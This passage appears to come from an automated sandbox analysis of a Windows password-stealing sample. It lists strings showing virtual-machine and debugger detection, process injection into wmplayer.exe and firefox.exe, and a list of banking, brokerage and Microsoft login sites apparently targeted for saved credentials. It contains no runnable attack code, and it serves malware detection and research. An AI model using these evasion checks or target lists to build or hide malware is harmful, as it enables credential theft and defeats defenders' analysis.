Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: Amcache.hve.9.dr	Binary or memory string: VMware
Source: c23yo28O4.13.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: wmplayer.exe, 0000000F.00000002.3942884266.00000000005F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD005-21-t
Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2455500615.000001DF0C0D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Amcache.hve.9.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: c23yo28O4.13.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: c23yo28O4.13.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: wmplayer.exe, 0000000F.00000002.3942884266.00000000005DC000.00000004.00000020.00020000.00000000.sdmp, wmplayer.exe, 0000000F.00000002.3948423775.00000000073DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2455500615.000001DF0C0D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\'C:\WINDOWS\system32\drivers\vmmouse.sys&C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2455500615.000001DF0C0D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: c23yo28O4.13.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: c23yo28O4.13.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: c23yo28O4.13.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Amcache.hve.9.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: c23yo28O4.13.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: c23yo28O4.13.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: c23yo28O4.13.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: firefox.exe, 00000015.00000002.2617153702.00000190990FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllAA
Source: c23yo28O4.13.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: Amcache.hve.9.dr	Binary or memory string: vmci.sys
Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2455500615.000001DF0C0D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmmouse.sys
Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2455500615.000001DF0C0D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: c23yo28O4.13.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2455500615.000001DF0C0D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: c23yo28O4.13.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: c23yo28O4.13.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Amcache.hve.9.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.9.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.9.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.9.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.9.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.9.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2455500615.000001DF0C0D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noValueButYesKey)C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2455500615.000001DF0C0D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: Amcache.hve.9.dr	Binary or memory string: VMware VMCI Bus Device
Source: wmplayer.exe, 0000000F.00000002.3948423775.00000000072E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&0000005
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.9.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: wmplayer.exe, 0000000F.00000002.3948423775.00000000073B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW2v
Source: wmplayer.exe, 0000000F.00000002.3942884266.000000000060A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.9.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: c23yo28O4.13.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: NwXvnHITawmpBkkZKEXJ.exe, 0000000E.00000002.3945109177.000000000164F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllU
Source: c23yo28O4.13.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: c23yo28O4.13.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Amcache.hve.9.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.9.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.9.dr	Binary or memory string: VMware, Inc.
Source: c23yo28O4.13.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Amcache.hve.9.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.9.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.9.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.9.dr	Binary or memory string: VMware-42 27 80 4d 99 30 0e 9c-c1 9b 2a 23 ea 1f c4 20
Source: wmplayer.exe, 0000000F.00000002.3945969013.0000000005500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NECVMWarVMware SATA CD001.00-5-21-2246122658-3693405117-2476756634-1003_Classes\WOW6432Node\Interface\{27354133-7F64-5B0F-8F00-5D77AFBE261E}\P
Source: Amcache.hve.9.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: wmplayer.exe, 0000000F.00000002.3945969013.0000000005500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NECVMWarVMware SATA CD001.00-
Source: c23yo28O4.13.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2455500615.000001DF0C0D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2455500615.000001DF0C0D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: Amcache.hve.9.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.9.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: sc.exe, 0000000D.00000002.3942849584.0000000002EFE000.00000004.00000020.00020000.00000000.sdmp, unregmp2.exe, 00000011.00000003.2443465756.000002454956E000.00000004.00000020.00020000.00000000.sdmp, unregmp2.exe, 00000011.00000003.2445206793.000002454956F000.00000004.00000020.00020000.00000000.sdmp, unregmp2.exe, 00000011.00000003.2442667644.000002454956E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: c23yo28O4.13.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: c23yo28O4.13.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Amcache.hve.9.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.9.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2455500615.000001DF0C0D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: Amcache.hve.9.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: c23yo28O4.13.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: c23yo28O4.13.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: c23yo28O4.13.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: c23yo28O4.13.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: c23yo28O4.13.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Amcache.hve.9.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: c23yo28O4.13.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: c23yo28O4.13.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: c23yo28O4.13.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: c23yo28O4.13.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: wmplayer.exe, 0000000F.00000002.3942884266.00000000005F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00eri
Source: c23yo28O4.13.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: c23yo28O4.13.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\sc.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe

Code function: 6_2_0334D1C0 rdtsc

6_2_0334D1C0

Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe

Code function: 6_2_004175A3 LdrLoadDll,

6_2_004175A3

Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032FF32A mov eax, dword ptr fs:[00000030h]	6_2_032FF32A
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339132D mov eax, dword ptr fs:[00000030h]	6_2_0339132D
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339132D mov eax, dword ptr fs:[00000030h]	6_2_0339132D
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032C7330 mov eax, dword ptr fs:[00000030h]	6_2_032C7330
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330A30B mov eax, dword ptr fs:[00000030h]	6_2_0330A30B
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330A30B mov eax, dword ptr fs:[00000030h]	6_2_0330A30B
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330A30B mov eax, dword ptr fs:[00000030h]	6_2_0330A30B
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CC310 mov ecx, dword ptr fs:[00000030h]	6_2_032CC310
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0335930B mov eax, dword ptr fs:[00000030h]	6_2_0335930B
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0335930B mov eax, dword ptr fs:[00000030h]	6_2_0335930B
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0335930B mov eax, dword ptr fs:[00000030h]	6_2_0335930B
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F0310 mov ecx, dword ptr fs:[00000030h]	6_2_032F0310
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0337437C mov eax, dword ptr fs:[00000030h]	6_2_0337437C
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D7370 mov eax, dword ptr fs:[00000030h]	6_2_032D7370
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D7370 mov eax, dword ptr fs:[00000030h]	6_2_032D7370
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D7370 mov eax, dword ptr fs:[00000030h]	6_2_032D7370
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0338F367 mov eax, dword ptr fs:[00000030h]	6_2_0338F367
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CD34C mov eax, dword ptr fs:[00000030h]	6_2_032CD34C
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CD34C mov eax, dword ptr fs:[00000030h]	6_2_032CD34C
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0335035C mov eax, dword ptr fs:[00000030h]	6_2_0335035C
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0335035C mov eax, dword ptr fs:[00000030h]	6_2_0335035C
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0335035C mov eax, dword ptr fs:[00000030h]	6_2_0335035C
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0335035C mov ecx, dword ptr fs:[00000030h]	6_2_0335035C
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0335035C mov eax, dword ptr fs:[00000030h]	6_2_0335035C
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0335035C mov eax, dword ptr fs:[00000030h]	6_2_0335035C
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339A352 mov eax, dword ptr fs:[00000030h]	6_2_0339A352
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033A5341 mov eax, dword ptr fs:[00000030h]	6_2_033A5341
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03352349 mov eax, dword ptr fs:[00000030h]	6_2_03352349
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03352349 mov eax, dword ptr fs:[00000030h]	6_2_03352349
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03352349 mov eax, dword ptr fs:[00000030h]	6_2_03352349
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03352349 mov eax, dword ptr fs:[00000030h]	6_2_03352349
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03352349 mov eax, dword ptr fs:[00000030h]	6_2_03352349
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03352349 mov eax, dword ptr fs:[00000030h]	6_2_03352349
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03352349 mov eax, dword ptr fs:[00000030h]	6_2_03352349
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03352349 mov eax, dword ptr fs:[00000030h]	6_2_03352349
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03352349 mov eax, dword ptr fs:[00000030h]	6_2_03352349
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03352349 mov eax, dword ptr fs:[00000030h]	6_2_03352349
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03352349 mov eax, dword ptr fs:[00000030h]	6_2_03352349
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03352349 mov eax, dword ptr fs:[00000030h]	6_2_03352349
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03352349 mov eax, dword ptr fs:[00000030h]	6_2_03352349
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03352349 mov eax, dword ptr fs:[00000030h]	6_2_03352349
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03352349 mov eax, dword ptr fs:[00000030h]	6_2_03352349
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032C9353 mov eax, dword ptr fs:[00000030h]	6_2_032C9353
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032C9353 mov eax, dword ptr fs:[00000030h]	6_2_032C9353
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F33A5 mov eax, dword ptr fs:[00000030h]	6_2_032F33A5
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033033A0 mov eax, dword ptr fs:[00000030h]	6_2_033033A0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033033A0 mov eax, dword ptr fs:[00000030h]	6_2_033033A0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F438F mov eax, dword ptr fs:[00000030h]	6_2_032F438F
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F438F mov eax, dword ptr fs:[00000030h]	6_2_032F438F
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CE388 mov eax, dword ptr fs:[00000030h]	6_2_032CE388
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CE388 mov eax, dword ptr fs:[00000030h]	6_2_032CE388
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CE388 mov eax, dword ptr fs:[00000030h]	6_2_032CE388
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033A539D mov eax, dword ptr fs:[00000030h]	6_2_033A539D
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0332739A mov eax, dword ptr fs:[00000030h]	6_2_0332739A
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0332739A mov eax, dword ptr fs:[00000030h]	6_2_0332739A
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032C8397 mov eax, dword ptr fs:[00000030h]	6_2_032C8397
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032C8397 mov eax, dword ptr fs:[00000030h]	6_2_032C8397
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032C8397 mov eax, dword ptr fs:[00000030h]	6_2_032C8397
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033A53FC mov eax, dword ptr fs:[00000030h]	6_2_033A53FC
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E03E9 mov eax, dword ptr fs:[00000030h]	6_2_032E03E9
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E03E9 mov eax, dword ptr fs:[00000030h]	6_2_032E03E9
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E03E9 mov eax, dword ptr fs:[00000030h]	6_2_032E03E9
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E03E9 mov eax, dword ptr fs:[00000030h]	6_2_032E03E9
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E03E9 mov eax, dword ptr fs:[00000030h]	6_2_032E03E9
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E03E9 mov eax, dword ptr fs:[00000030h]	6_2_032E03E9
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E03E9 mov eax, dword ptr fs:[00000030h]	6_2_032E03E9
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032E03E9 mov eax, dword ptr fs:[00000030h]	6_2_032E03E9
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033063FF mov eax, dword ptr fs:[00000030h]	6_2_033063FF
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032EE3F0 mov eax, dword ptr fs:[00000030h]	6_2_032EE3F0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032EE3F0 mov eax, dword ptr fs:[00000030h]	6_2_032EE3F0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032EE3F0 mov eax, dword ptr fs:[00000030h]	6_2_032EE3F0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0338F3E6 mov eax, dword ptr fs:[00000030h]	6_2_0338F3E6
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0338B3D0 mov ecx, dword ptr fs:[00000030h]	6_2_0338B3D0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032DA3C0 mov eax, dword ptr fs:[00000030h]	6_2_032DA3C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032DA3C0 mov eax, dword ptr fs:[00000030h]	6_2_032DA3C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032DA3C0 mov eax, dword ptr fs:[00000030h]	6_2_032DA3C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032DA3C0 mov eax, dword ptr fs:[00000030h]	6_2_032DA3C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032DA3C0 mov eax, dword ptr fs:[00000030h]	6_2_032DA3C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032DA3C0 mov eax, dword ptr fs:[00000030h]	6_2_032DA3C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D83C0 mov eax, dword ptr fs:[00000030h]	6_2_032D83C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D83C0 mov eax, dword ptr fs:[00000030h]	6_2_032D83C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D83C0 mov eax, dword ptr fs:[00000030h]	6_2_032D83C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D83C0 mov eax, dword ptr fs:[00000030h]	6_2_032D83C0
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0338C3CD mov eax, dword ptr fs:[00000030h]	6_2_0338C3CD
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032C823B mov eax, dword ptr fs:[00000030h]	6_2_032C823B
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_033A5227 mov eax, dword ptr fs:[00000030h]	6_2_033A5227
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03307208 mov eax, dword ptr fs:[00000030h]	6_2_03307208
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03307208 mov eax, dword ptr fs:[00000030h]	6_2_03307208
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03311270 mov eax, dword ptr fs:[00000030h]	6_2_03311270
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03311270 mov eax, dword ptr fs:[00000030h]	6_2_03311270
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032C826B mov eax, dword ptr fs:[00000030h]	6_2_032C826B
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03380274 mov eax, dword ptr fs:[00000030h]	6_2_03380274
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03380274 mov eax, dword ptr fs:[00000030h]	6_2_03380274
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03380274 mov eax, dword ptr fs:[00000030h]	6_2_03380274
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03380274 mov eax, dword ptr fs:[00000030h]	6_2_03380274
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03380274 mov eax, dword ptr fs:[00000030h]	6_2_03380274
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03380274 mov eax, dword ptr fs:[00000030h]	6_2_03380274
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03380274 mov eax, dword ptr fs:[00000030h]	6_2_03380274
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03380274 mov eax, dword ptr fs:[00000030h]	6_2_03380274
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03380274 mov eax, dword ptr fs:[00000030h]	6_2_03380274
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03380274 mov eax, dword ptr fs:[00000030h]	6_2_03380274
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03380274 mov eax, dword ptr fs:[00000030h]	6_2_03380274
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_03380274 mov eax, dword ptr fs:[00000030h]	6_2_03380274
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D4260 mov eax, dword ptr fs:[00000030h]	6_2_032D4260
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D4260 mov eax, dword ptr fs:[00000030h]	6_2_032D4260
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D4260 mov eax, dword ptr fs:[00000030h]	6_2_032D4260
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339D26B mov eax, dword ptr fs:[00000030h]	6_2_0339D26B
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0339D26B mov eax, dword ptr fs:[00000030h]	6_2_0339D26B
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032F9274 mov eax, dword ptr fs:[00000030h]	6_2_032F9274
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032C9240 mov eax, dword ptr fs:[00000030h]	6_2_032C9240
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032C9240 mov eax, dword ptr fs:[00000030h]	6_2_032C9240
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0338B256 mov eax, dword ptr fs:[00000030h]	6_2_0338B256
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0338B256 mov eax, dword ptr fs:[00000030h]	6_2_0338B256
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032D6259 mov eax, dword ptr fs:[00000030h]	6_2_032D6259
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_032CA250 mov eax, dword ptr fs:[00000030h]	6_2_032CA250
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	Code function: 6_2_0330724D mov eax, dword ptr fs:[00000030h]	6_2_0330724D
